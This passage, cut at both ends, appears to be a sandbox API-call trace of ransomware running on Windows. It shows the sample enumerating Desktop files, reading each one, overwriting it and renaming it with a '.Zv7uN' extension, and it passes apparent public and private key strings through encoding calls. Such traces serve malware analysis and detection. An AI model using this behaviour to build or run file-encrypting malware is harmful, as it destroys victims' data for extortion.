o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0126.639] GetCurrentThreadId () returned 0xa30 [0126.639] GetCurrentThreadId () returned 0xa30 [0126.639] GetCurrentThreadId () returned 0xa30 [0126.639] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\86yCjlfQA.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\86ycjlfqa.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0126.639] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0126.639] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0126.639] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xf54e [0126.640] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0126.640] ReadFile (in: hFile=0x120, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0xf54e, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f96c*=0xf54e, lpOverlapped=0x0) returned 1 [0126.643] CloseHandle (hObject=0x120) returned 1 [0126.644] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\86yCjlfQA.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\86ycjlfqa.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0126.647] WriteFile (in: hFile=0x120, lpBuffer=0x1f08fa0*, nNumberOfBytesToWrite=0xf54e, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f08fa0*, lpNumberOfBytesWritten=0x18f978*=0xf54e, lpOverlapped=0x0) returned 1 [0126.652] CloseHandle (hObject=0x120) returned 1 [0126.675] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\86yCjlfQA.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\86ycjlfqa.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\86yCjlfQA.m4a.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\86ycjlfqa.m4a.zv7un")) returned 1 [0126.678] GetCurrentThreadId () returned 0xa30 [0126.678] GetCurrentThreadId () returned 0xa30 [0126.678] GetCurrentThreadId () returned 0xa30 [0126.678] GetCurrentThreadId () returned 0xa30 [0126.678] GetCurrentThreadId () returned 0xa30 [0126.678] GetCurrentThreadId () returned 0xa30 [0126.678] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4f5e8c0, ftCreationTime.dwHighDateTime=0x1d5d955, ftLastAccessTime.dwLowDateTime=0xa2ffdba0, ftLastAccessTime.dwHighDateTime=0x1d5dacf, ftLastWriteTime.dwLowDateTime=0xa2ffdba0, ftLastWriteTime.dwHighDateTime=0x1d5dacf, nFileSizeHigh=0x0, nFileSizeLow=0x874d, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="A kh 8AjWTIhLTWgemc9.wav", cAlternateFileName="AKH8AJ~1.WAV")) returned 1 [0126.678] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0126.678] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0126.679] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A kh 8AjWTIhLTWgemc9.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\a kh 8ajwtihltwgemc9.wav"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4f5e8c0, ftCreationTime.dwHighDateTime=0x1d5d955, ftLastAccessTime.dwLowDateTime=0xa2ffdba0, ftLastAccessTime.dwHighDateTime=0x1d5dacf, ftLastWriteTime.dwLowDateTime=0xa2ffdba0, ftLastWriteTime.dwHighDateTime=0x1d5dacf, nFileSizeHigh=0x0, nFileSizeLow=0x874d)) returned 1 [0126.679] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A kh 8AjWTIhLTWgemc9.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\a kh 8ajwtihltwgemc9.wav")) returned 0x20 [0126.679] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A kh 8AjWTIhLTWgemc9.wav", dwFileAttributes=0x80) returned 1 [0126.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0126.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0126.698] GetCurrentThreadId () returned 0xa30 [0126.698] GetCurrentThreadId () returned 0xa30 [0126.698] GetCurrentThreadId () returned 0xa30 [0126.698] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0126.698] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0126.699] GetCurrentThreadId () returned 0xa30 [0126.699] GetCurrentThreadId () returned 0xa30 [0126.699] GetCurrentThreadId () returned 0xa30 [0126.699] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A kh 8AjWTIhLTWgemc9.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\a kh 8ajwtihltwgemc9.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0126.699] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0126.699] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0126.699] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x874d [0126.700] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0126.700] ReadFile (in: hFile=0x120, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0x874d, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f96c*=0x874d, lpOverlapped=0x0) returned 1 [0126.702] CloseHandle (hObject=0x120) returned 1 [0126.703] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A kh 8AjWTIhLTWgemc9.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\a kh 8ajwtihltwgemc9.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0126.707] WriteFile (in: hFile=0x120, lpBuffer=0x1f02fa0*, nNumberOfBytesToWrite=0x874d, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f02fa0*, lpNumberOfBytesWritten=0x18f978*=0x874d, lpOverlapped=0x0) returned 1 [0126.710] CloseHandle (hObject=0x120) returned 1 [0126.711] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A kh 8AjWTIhLTWgemc9.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\a kh 8ajwtihltwgemc9.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A kh 8AjWTIhLTWgemc9.wav.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\a kh 8ajwtihltwgemc9.wav.zv7un")) returned 1 [0126.714] GetCurrentThreadId () returned 0xa30 [0126.714] GetCurrentThreadId () returned 0xa30 [0126.714] GetCurrentThreadId () returned 0xa30 [0126.714] GetCurrentThreadId () returned 0xa30 [0126.714] GetCurrentThreadId () returned 0xa30 [0126.714] GetCurrentThreadId () returned 0xa30 [0126.714] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, 